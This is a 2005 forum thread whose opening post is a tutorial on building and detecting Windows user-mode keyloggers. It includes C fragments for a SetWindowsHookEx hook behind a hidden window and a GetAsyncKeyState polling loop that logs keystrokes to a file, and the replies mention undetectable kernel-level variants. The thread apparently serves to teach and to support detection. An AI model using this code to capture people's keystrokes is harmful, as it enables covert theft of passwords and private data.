-
September 13th, 2005, 04:48 AM
#1
The Art Of Keylogging - Implementation and Detection
==[0x00]==[Contents]=
0x01 Abstract.
0x02 Things you need.
0x03 Types of keyloggers.
0x04 The SetWindowsHookEx method.
0x05 The GetAsyncKeyState method.
0x06 Translating the virtual-keys.
0x07 Conlcusion.
0x08 References.
==[0x01]==[Abstract]=
From the time of computing malwares and spywares have been
an integral part of the computer era. Keylogging is one the
most basic and dire need for a backdoor or a spyware, it adds
a new dimension to the backdoored or a rooted system allowing
to infiltrate without raising a packet. In this article we
discuss implementation and detection of Windows user mode
keyloggers, with that lets roll.
==[0x02]==[Things you need]
o Th Mirosoft VC++ development environment.
o MSDN Library.
o I assume you are well used to the above mentioned things
==[0x03]==[Types of Keyloggers]
On windows keylogging in user mode is acheived using two
methods they are (They are Windows API calls)
1. SetWindowsHookEx
2. GetAsyncKeyState
These are not the only two methods available, others are
there but not quite practical and not seemed to be used in
the wild.
==[0x04]==[The SetWindowsHookEx method]
This method is very well known and source implementations are
also available.As the api name suggests, we use windows hooks
to achieve keylogging.(Many of you might recall this as a method
to inject DLLs and API hooking),MSDN says
"A hook is a point in the system message-handling mechanism where
an application can install a subroutine to monitor the message traffic
in the system and process certain types of messages before they reach
the target window procedure."
"The SetWindowsHookEx function installs an application-defined hook
procedure into a hook chain. You would install a hook procedure to
monitor the system for certain types of events. These events are
associated either with a specific thread or with all threads in the
same desktop as the calling thread."
Syntax
HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,
DWORD dwThreadId);
if the idHook is set to WH_KEYBOARD, keyboard events are monitored and
on each event the hook procedure is called, there is another idHook
available but it won't work on windows 98, this one works on all of
them and yes even Win2k3.
For the application to recieve the events globally the hook procedure
(a.k.a global hook) must be in a library i.e a DLL file.So here are the
steps
o First we make a DLL file having the hook procedure function, who's
prototype is
LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam);
The wParam holds the virtual-key code of the key that generated the
keystroke message and the lparam holds the repeat count, scan code,
extended-key flag,context code, previous key-state flag, and
transition-state flag.
Next we need to decode these parameters to ASCII characters and log them
to file, but as you can see opening and writing each charater to a file
every time a key strokeis generated will make the process slower, so we
send these keystrokes back to the application where they will be
processed and logged to a file, there are numerous methods available
to do this ( shared memory sections named pipes etc, but they are again
equivalent to opening and closing a file object), we do it using windows
messages.
Also we need to keep nag of a few things here (from MSDN)
a. If code is less than zero, the hook procedure must return the value
returned by CallNextHookEx
b. If code is greater than or equal to zero, and the hook procedure
did not process the message,it is highly recommended that you call
CallNextHookEx and return the value it returns; otherwise, other
applications that have installed WH_KEYBOARD hooks will not receive
hook notifications and may behave incorrectly as a result. If the hook
procedure processed the message,it may return a nonzero value to prevent
the system from passing the message to the rest of the hook chain or
the target window procedure.
NOTE: This method can also be use to sterlize already running keyloggers by
violating point b.See section 0x06.
Finally our procedure looks like
LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
{
if(code != HC_NOREMOVE) /*Follow points a and b*/
if(lParam < 0)
if(code==HC_ACTION) {
/*Find the window and send the message*/
hwnd=FindWindow(szWindowClass,szWindowName);
SendMessage(hwnd,WM_LOGGERB,wParam,lParam);
}
return CallNextHookEx(NULL,code,wParam,lParam);
}
o Next comes the main application, we first create a window(of course
we will hide it);it is required to make this hook(don't know why) work
properly also since we will be recieving the keystroke information as messages.
Next we establish the hook, open a file for writing and wait for messages.
A part of the window callback procedure code looks like:
/*Load our library*/
hm=LoadLibrary(szFile);
/*GetAddress of the Hook procedure*/
pFunc=(pKBP)GetProcAddress(hm,"KeyboardProc");
/*Establish the hook*/
hhk=SetWindowsHookEx(WH_KEYBOARD,pFunc,hm,0);
The code for logging the data is similiar to the next method used.The
rest of the code can be found on my website,see references.
==[0x04]==[The GetAsyncKeyState method]
This method is the most efficient method and does not need an extra dll as in
SetWIndowsHookEx method.I suppose this is the first time this method is going
to be publicaly available in source(i found none). MSDN says
The GetAsyncKeyState function determines whether a key is up or down at the
time the function is called,and whether the key was pressed after a previous
call to GetAsyncKeyState.
Syntax
SHORT GetAsyncKeyState(int vKey);
the vkey Specifies one of 256 possible virtual-key codes.
To use this we constantly poll using a thread,a loop or a timer to check if a
key is pressed, if yes we log it.Now it might seem simpler to you but the actual
implementation in C looks something like this
for(i=0;i<94;i++)
if(GetAsyncKeyState(VKeys[i].VIR_KEY) & 0x00000001)
if(GetAsyncKeyState(VKeys[i].VIR_KEY) & 0x8000000) {
if((VKeys[i].VIR_KEY >=0x41) && (VKeys[i].VIR_KEY <=0x5A)){
if(!( ( GetKeyState(VK_CAPITAL) & 0x000000001 ) ^ ( GetKeyState(VK_SHIFT) <0 ) ) ) {
wsprintf(KeyData,"%c",(TCHAR)tolower(VKeys[i].VIR_KEY));
res=WriteFile(hFile,(LPCVOID)KeyData,1,&BW,NULL);
if(res==0)
SendMessage(hwnd,WM_DESTROY,0,0);
break;
}
}
if( (GetKeyState(VK_SHIFT) <0) && IsTrans(VKeys[i].VIR_KEY) ) {
wsprintf(KeyData,"%c",(TCHAR)TransKey(VKeys[i].VIR_KEY));
res=WriteFile(hFile,(LPCVOID)KeyData,1,&BW,NULL);
if(res==0) SendMessage(hwnd,WM_DESTROY,0,0);
break;
}
wsprintf(KeyData,"%s",VKeys[i].Des);
res=WriteFile(hFile,(LPCVOID)KeyData,strlen(VKeys[i].Des),&BW,NULL);
if(res==0) SendMessage(hwnd,WM_DESTROY,0,0);
}
Simple ??. The first two if statements might be hard to get, the first
if statement checks if a key was pressed after the previous call to GetAsyncKeyState
(this is the essence of this method which gives it the speed) and the second one
checks if the key is down, the third if takes care of leaving some keys(printable
ascii actually, but it can be removed). The fourth and the fifth if statement handles
checks if shift key is pressed or caps lock is on and rest is about translating and
logging the keys, see the refrence section for a link to the examples.Very few
keyloggers use this method, one example is the skl0g keylogger written in visual basic.
==[0x05]==[Translating the virtual-keys]=
Finally we need to translate the virtual key codes, i do this by making a structure
array as this method allows me to log keys as <UP>,<DOWN>,<Num0> etc. I use two structures
to take care of the shift key(not neccessary, hey the code is old but it is siad old is gold),
the structures look like
typedef struct _STABLE {
int VIR_KEY;
TCHAR Key;
}TTABLE;
typedef struct _VTABLE{
int VIR_KEY;
TCHAR *Des;
}VTABLE;
And finally the arrays(for arrays see the source code). Since the shift key
state and caps lock state is unavailable, we use the GetKeyState API to handle these.
Next we simply call required functions to return appropiate data i.e character coressponding
to a key or a description.
==[0x06]==[Detecting keyloggers]=
By reading this article by now you must have guessed a couple of ways to detect such
activity. Most keylogger and spyware detectors work on signatures not heuristics. To monitor
such activity we need to establish a global API hook on GetAsyncKeyState api and monitor the
rate at wich it is being called, or just scan for executables which call this function
(this can be easily bypassed), but beware this is also the method used to implement 'Hot Keys'.
The SetWindowsHookEx activity can be detected similiary.
A SetWindowsHookEx keylogger can be easily steralized by establishing another WH_KEYBOARD
hook, and not following the required rules(see point b under section 0x04),for this our hook
procedure will look like:
LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam, LPARAM lParam)
{
if(code<0) return CallNextHookEx(NULL,code,wParam,lParam);
/*The next procedures in the hook chain never get a chance to process messages*/
if(code>=0) return 0;
}
It is to be noted that this should be done after the keylogger is running.
==[0x07]==[Conclusion]=
I have outlined the basic methods involved in building a keyloggers.The next step would be
to encrypt or accesss the kelogged data remotely.I did not discuss these things as i did
not want this to be a spyware guide.Hope this article spreads information regarding keyloggers.
==[0x08]==[References]==
1. The examples of both the keyloggers can be found at http://warl0ck.cjb.net/logkeys.rar
2. MSDN Library , http://msdn.microsoft.com
3. skl0g keylogger, http://skl0g.cjb.net
-
September 13th, 2005, 05:26 AM
#2
Banned
someone please
make a tutorial like irongeek's tutorials on this
thanks
-
September 13th, 2005, 07:52 AM
#3
Re: The Art Of Keylogging - Implementation and Detection
[QUOTE] Originally posted here by warl0ck7
[B]==[0x00]==[Contents]=
==[0x06]==[Detecting keyloggers]=
By reading this article by now you must have guessed a couple of ways to detect such
activity. [END OF QUOTE]
The one thing I wanted to know from reading warl0ck's Tut was how do you detect a keylogger, well... probably most you will agree with warl0ck by saying that I should have guessed it!!! , But sorry guys I didn't.
I'm either DUMM or that this TUT was way over my head.
Cheers,
B.B
-
September 13th, 2005, 07:55 AM
#4
Member
Well... Certainly the TUT is highly technical in its contect..
BTW WarL0ck where did u get it..
-
September 13th, 2005, 11:16 AM
#5
Senior Member
it was ok, but u will never make one like irongeek, his tuts rock (especially the zaurus one)
-
September 13th, 2005, 06:19 PM
#6
Thanks, but no need to dis anyone elses tute. I just happen to have time on my hands, and I don't do much of the coding side.
-
September 13th, 2005, 09:02 PM
#7
i like it, it was kind of deep, technically.
Difficult takes a day, Impossible takes a week~Kthln01!
-
September 14th, 2005, 06:05 PM
#8
BTW WarL0ck where did u get it..
Its 100% original and home grown.
-
September 14th, 2005, 07:46 PM
#9
That's well written warl0ck7. Good job!
if the idHook is set to WH_KEYBOARD, keyboard events are monitored and
on each event the hook procedure is called, there is another idHook
available but it won't work on windows 98, this one works on all of
them and yes even Win2k3.
That other one is WH_KEYBOARD_LL, to monitor low level keyboard events.
But WH_KEYBOARD does the job .
The one thing I wanted to know from reading warl0ck's Tut was how do you detect a keylogger, well... probably most you will agree with warl0ck by saying that I should have guessed it!!! , But sorry guys I didn't.
If you never heard about hooks, you cannot be assumed to know that
It may be pointed out that while this is the common way of writing a keylogger in userland, and as mentioned in the article that it can easily be detected by detection software, you can as well write a kernel land keylogger, most popular are probably patching the Interrupt Descriptor Table (hooking an interrupt) and modifying the Service Table. But both of these can still easily be detected by the right software. But if one is willing to make the effort; you can write a kernel land keylogger that is undetectable by current detection software.
The above sentences are produced by the propaganda and indoctrination of people manipulating my mind since 1987, hence, I cannot be held responsible for this post\'s content - me
www.elhalf.com
-
September 14th, 2005, 08:04 PM
#10
Originally posted here by warl0ck7
Its 100% original and home grown.
If this work belongs to you, then you should have posted it in the Secuirty forum tutorial, because it is more likely to be called a tutorial.
Great post....
Cheers
\"The only truly secure system is one that is powered off, cast in a block of concrete and sealed in a lead-lined room with armed guards - and even then I have my doubts\".....Spaf
Everytime I learn a new thing, I discover how ignorant I am.- ... Black Cluster
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
|